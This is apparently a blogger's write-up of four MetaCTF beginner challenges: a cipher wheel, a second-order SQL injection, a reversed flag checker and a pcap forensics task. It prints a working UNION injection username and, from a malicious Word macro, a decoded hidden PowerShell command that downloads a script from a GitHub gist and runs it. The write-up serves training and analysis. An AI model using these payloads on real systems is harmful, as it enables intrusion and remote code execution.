️🏴 MetaCTF July 2024 Flash CTF

A monthly mini CTF competition organized by MetaCTF and Antisyphon.

2024-07-19

#ctf

A monthly mini CTF competition organized by MetaCTF with support from Antisyphon Training and TCM Security. There will be 5 challenges and you will have 2 hours to solve as many as you can. This is a beginner-friendly CTF.

Details here: https://app.metactf.com/join/jul2024.

Wheel Of Mystery

My friend wanted to communicate using a secret cipher.

He gave me the message RKPUYPFCIAKKJMYZZJT along with this wheel:

Can you decrypt the message he sent?

It's a spinny cipher-wheel-thing!

The outer, static wheel appears to be the uppercase alphabet plus braces; the inner wheel, which rotates, is a seemingly-randomised alphabet, again with braces.

Given the rotation, it's not clear in which position the wheel is supposed to be so…brute force!

Setting up the contents of both sections of the wheel:

import string
from collections import deque


outer = string.ascii_uppercase + "{}"
inner = deque("COSDHG{QNFUVWLEZYXPTKMR}ABJI")

assert len(outer) == len(inner)

msg = "RKPUYPFCIAKKJMYZZJT"

Using a deque, it's possible to rotate the inner wheel easily enough:

for rotation in range(len(outer)):
    inner.rotate(rotation)

    lookup = dict(zip(outer, inner))

    print("".join(lookup[c] for c in msg))

That produces a lot of gibberish but in there is:

METACTF{WHEELYCOOL}

Second Breakfast

This diner makes some of the best breakfast around, can you help me test their website? I hope that if I find a vulnerability, they might give me a free second order!

Here's a link to their website. They also gave me a copy of their source code.

As part of the setup, the flag is added directly into the database:

INSERT INTO flags (flag) VALUES ('FLAG_REDACTED_GO_GET_THE_REAL_ONE');

Most of the site correctly uses parameterised queries, save one endpoint:

@app.route('/profile')
def profile():
    if 'username' not in session:
        return redirect(url_for('login'))
    
    username = session['username']
    
    conn = get_db_connection()
    cursor = conn.cursor()
    
    query = f"SELECT username, created_at FROM users WHERE username='{username}'"
    cursor.execute(query)
    user = cursor.fetchone()

That would require a user whose username will fulfil a SQLi to retrieve the flag ("second order SQLi, for all the cool kids). Thankfully, it's possible to register a user with exactly that.

Creating a user with the username:

meta' UNION SELECT flag, CURRENT_TIMESTAMP FROM flags WHERE '1' = '1

…causes the query in the above to retrieve the flag as the username and created_at as the current time, resulting in a greeting of:

<h1>Welcome, MetaCTF{Ill_h4v3_7h47_s3c0nd_0rd3r_0f_SQLi_pl3453}</h1>

Flag Appraisal

My buddy started a pawn shop and made a bet that I could never get a counterfeit flag past him.

I know exactly how his system works, so I'm certain I can sneak one past him. Check out his shop application here.

Courtesy of Decompiler Explorer, the main function is:

bool FUN_0010128e(void)

{
  int iVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  char local_78 [104];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Welcome to my Pawn Shop, go ahead and show me the flag you want appraised: ");
  fgets(local_78,100,stdin);
  sVar2 = strcspn(local_78,"\n");
  local_78[sVar2] = '\0';
  sVar2 = strlen(local_78);
  FUN_00101199(local_78,sVar2 & 0xffffffff);
  iVar1 = strncmp(local_78,&DAT_00102058,0x25);
  if (iVar1 != 0) {
    puts("Unfortunately, your flag here looks to be a counterfeit.");
  }
  else {
    puts("Well good news, your flag looks to be authentic! Best I can do is $2.");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    // WARNING: Subroutine does not return
    __stack_chk_fail();
  }
  return iVar1 != 0;
}

The user input is passed through a function and, if it matches DAT_00102058 and is 37 bytes (0x25 above), is valid.

That function, FUN_00101199, is:

void FUN_00101199(long param_1,uint param_2)

{
  uint local_10;
  int local_c;
  
  local_10 = 0;
  for (local_c = 0; local_c < (int)(param_2 - 1); local_c = local_c + 2) {
    local_10 = local_10 * 0x21 ^
               *(char *)(param_1 + (long)local_c + 1) * 0x1fd ^ *(char *)(param_1 + local_c) * 0x101
    ;
    *(char *)(param_1 + local_c) = (char)local_10;
    *(char *)(param_1 + (long)local_c + 1) = (char)(local_10 >> 8);
  }
  if ((param_2 & 1) != 0) {
    *(byte *)(param_1 + (long)(int)param_2 + -1) =
         (char)local_10 * '!' ^ *(byte *)(param_1 + (long)(int)param_2 + -1);
  }
  return;
}

Translating that into Python:

def FUN_00101199(input_: list[int]):
    state = 0
    length = len(input_)

    for i in range(0, length - 1, 2):
        state = (input_[i] * 257) ^ (input_[i + 1] * 509) ^ (state * 33)
        input_[i] = state & 0xff
        input_[i + 1] = (state >> 8) & 0xff

    if length % 2 != 0:
        state = (input_[length - 1] * 257) ^ (state * 33)
        input_[length - 1] = state & 0xff

DAT_00102058 is visible in memory as (again, translated to Python):

DAT_00102058 = [
    0x9C,
    0x85,
    0xB5,
    0x8D,
    0x12,
    0xA0,
    0x9B,
    0x10,
    0xE8,
    0x1F,
    0x2B,
    0xB3,
    0xDB,
    0x4A,
    0x87,
    0x1E,
    0x39,
    0xBD,
    0x03,
    0x32,
    0xC6,
    0xD0,
    0x82,
    0xDB,
    0xCD,
    0x46,
    0x82,
    0xA1,
    0x6D,
    0x09,
    0x80,
    0xE5,
    0x6C,
    0x7F,
    0x6C,
    0x82,
    0x91,
]

So, given DAT_00102058 as input, I need a function which reverses FUN_00101199 to produce the flag.

This is the best I could come up with:

def _99110100_NUF(dat: list[int]):
    state = 0
    length = len(dat)
    input_ = [0] * length

    for i in range(0, length - 1, 2):
        save_state = dat[i] | (dat[i + 1] << 8)

        for j in range(128):
            for k in range(128):
                _state = (j * 257) ^ (k * 509) ^ (state * 33)
                if _state & 0xFFFF == save_state:
                    input_[i], input_[i + 1] = chr(j), chr(k)
                    break
            else:
                continue
            break

        state = save_state

    for i in range(128):
        if ((i * 257) ^ (state * 33)) & 0xFF == dat[length - 1]:
            input_[length - 1] = chr(i)
            break

    return "".join(input_)

…and it works!

(…eventually, after some fighting with that last character…)

 ./pawn_shop.py
MetaCTF{c0un73rf3171ng_7h3_p4wn_$h0p}

Keeper In The Net

Our customer believes that something suspicious was going on in their network. Can you save the day and figure out what the attacked did?

Here's a pcap of the incident.

Via WireShark, the provided KeeperInTheNet.pcapng contains a HTTP GET for a Drill_2024.doc file. Running olevba (courtesy of decalage2/oletools) over that reveals a whole caboodle of VBA macros.

One function, JERWafGg(), appears to be a base64-decode; it's later called to decode the result of a series of base64 concatentations:

HAdjTg8 = Chr(88)
jyaiOGq8Y = "cG93Z"
NVuAyL = jyaiOGq8Y & HAdjTg8
WcpUY = "JzaGVsbCAtV2luZG93U3R5bGUgSGlkZGVuICR3c2NyaXB0ID0gbm"
pYdk3 = "V3LW9iamVjdCAtQ29tT2JqZWN0IFdTY3JpcHQuU2hlbGw7JHd"
s7qEy6 = "lYmNsaWVudCA9IG5ldy1vYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHJhbmRv"
xS64130k = WcpUY & pYdk3 & s7qEy6
yMTzNDzh = NVuAyL & xS64130k
DOwIWXYbJ = "bSA9IG5ldy1vYmplY3QgcmFuZG9tOyR1cmxzID0gJ2h0dH"
t5ysx = "BzOi8vZ2lzdC5naXRodWJ1c2VyY29udGVudC5jb20vaGFja2RhbWV0YXZlcnNlLzhjYzk0NzFjMGUwMTJjNjk2NjhkYjkzY2M"
hjLGi = "2YzkyN2U1L3Jhdy8yZTg1YjY3M2I4ZmFmNWQ5NzU4ZTlhNTk0YjcxYWY4MmNiMTY3YzdhL2dpdGh1Yi5wczEnLlNw"
OQfe5BhbT = DOwIWXYbJ & t5ysx & hjLGi
yMTzNDzhyQ = yMTzNDzh & OQfe5BhbT
WdpeGhumO = "bGl0KCcsJyk7JG5hbWUgPSAkcmFuZG9tLm5leHQoMSwgN"
ThHBT3JqI = "jU1MzYpOyRwYXRoID0gJGVudjp0ZW"
tB65ZJd9 = "1wICsgJ1wnICsgJG5hbWUgKyAnLnB"
xRgONcKLq = WdpeGhumO & ThHBT3JqI & tB65ZJd9
jqfwUJ = "zMSc7Zm9yZWFja"
Uv10MF = "CgkdXJsIGluICR1cmxzKXt0cnl7JHdlYmNsaWVudC5Eb3dubG9h"
u6V3e = "ZEZpbGUoJHVybC5Ub1N0cmluZ"
tnavr6 = jqfwUJ & Uv10MF & u6V3e
yMTzNDzhy = xRgONcKLq & tnavr6
JDqWL8ju = "ygpLCAkcGF0aCk7SUVYICRwYXRoO2"
FtLGF = "JyZWFrO31jYXRjaHt3cml0ZS1ob3N0ICRfLkV4Y2VwdGlvbi5NZXNzYWdlO319"
yOa0X2 = JDqWL8ju & FtLGF
MTzNDzhyQ = yMTzNDzhy & yOa0X2

…finally being called as:

f6tDZP72 = JERWafGg(yMTzNDzhyQ & MTzNDzhyQ)

…the result of which is executed by:

WinExec f6tDZP72, w7VGb

The base64-decoded content being executed therein is:

powershell -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;$webclient = new-object System.Net.WebClient;$random = new-object random;$urls = 'https://gist.githubusercontent.com/hackdametaverse/8cc9471c0e012c69668db93cc6c927e5/raw/2e85b673b8faf5d9758e9a594b71af82cb167c7a/github.ps1'.Split(',');$name = $random.next(1, 65536);$path = $env:temp + '\' + $name + '.ps1';foreach($url in $urls){try{$webclient.DownloadFile($url.ToString(), $path);IEX $path;break;}catch{write-host $_.Exception.Message;}}

The contents of that Gist appear to be yet more PowerShell containing another base64 chunk, followed by a dECOMprESS call:

import base64
import requests
import zlib


data = requests.get(
    "https://gist.githubusercontent.com/hackdametaverse/8cc9471c0e012c69668db93cc6c927e5/raw/2e85b673b8faf5d9758e9a594b71af82cb167c7a/github.ps1"
).text[167:-106]

decompress = zlib.decompressobj(-zlib.MAX_WBITS)
decompressed = decompress.decompress(base64.b64decode(data))
print(decompressed.decode())

That produces quite a bit of obfuscated code.

There's hints of encryption in here, via a function DECry'Pt( function, which points to AES as the algorithm of choice: 'reate','AesMa','C','t','jec','nagedOb').

…and after much munging of strings, there's this:

${VP`gN`g`cq0KcY`j3O`oP22`JR}   = ("{1}{5}{2}{6}{4}{7}{3}{0}"-f 'SU=','rn','VK5','dMoH','SOhIsUcaMOg4OL8+jCoH','17r','zsx','FYO1f+')

…which, thankfully, translates to:

PS /> ("{1}{5}{2}{6}{4}{7}{3}{0}"-f 'SU=','rn','VK5','dMoH','SOhIsUcaMOg4OL8+jCoH','17r','zsx','FYO1f+')
rn17rVK5zsxSOhIsUcaMOg4OL8+jCoHFYO1f+dMoHSU

There's an AES key which is encrypting…what exactly?

Dumping all the HTTP objects reveals a series of HTTP forms, the first of which is:

result=rbqA0td2aIZzzE4Q5LYitDDQcpMz%2FgSbMWbTceiStH3ZK8VvGQxF%2BOc7%2Fp2PSgDw

After a lot of tinkering with CyberChef:

…the final payload being:

rbqA0td2aIZzzE4Q5LYitDDQcpMz%2FgSbMWbTceiStH3ZK8VvGQxF%2BOc7%2Fp2PSgDw
oL%2FlVfK65Jw4qEiwQGpqhX8OEFEgtkKe%2FN9JA85y7Ur%2BiXZy1QipEYrMYARwm3hNEeIBhGkrQk5ypfdZQ51lPE4Bsn7RNiD6mrzzFd%2FJfgSceATcyB8kxAs0xrvOfTYW
I5liQ%2FBaSNMb1PhIVz8LMltNpCrmF4ThvykJwL0CKa8%3D
I4xR%2BpGs07nJ6IyqZSzTH%2FABiKzvZac2UYjjj5ZpOMdMQdV1LYoOCeBniQKjwsSNxLmqodg1ZbJ%2FQ9vErtoMxfMvMSJ6fsAcP4myqxD%2FLMjANpm9XPp9LdNjU9w3Stpm
wRMk5d%2FagURzTFrvU4E3Y2TJBuPKr9hdyoxzy59a3WQ%3D
OvY2N3B4gzO%2FYIT6Kjy9%2Bp9EhFmCVEYXl3AD4qHWNbw8T7hSq%2F5PTiKmB8nSN8%2BgtDy4hOIZwOWN8Emz%2BiiIM7GBivi%2F0hmfREPF%2BrWutMGCGM%2Bxfe36h3AG

…that decrypts to:

VALID desktop\ieuser

C ±®WvYÇRÀLÉ/òwÄVALID 
Path                   
----                   
C:\Users\IEUser\Desktoݧêb*ך+²÷¾"VALID 
‰KùՄW\YßÍ܂čÆ&VALID 
camuduon69.ps1 : The term 'camuduon69.ps1' is not recognized as the name …ƒ6„ãÅ}n5+„pE|VALID 
AU6¾ã”€„X5ábAVALID MetaCTF
4nh_k0_4n_mun9_9c9f6732d87c6d0f1625b4d73639f34d
o´Ç6“û';„þ£o&

…which is kinda garbage but kinda discernable at the end there:

MetaCTF{4nh_k0_4n_mun9_9c9f6732d87c6d0f1625b4d73639f34d}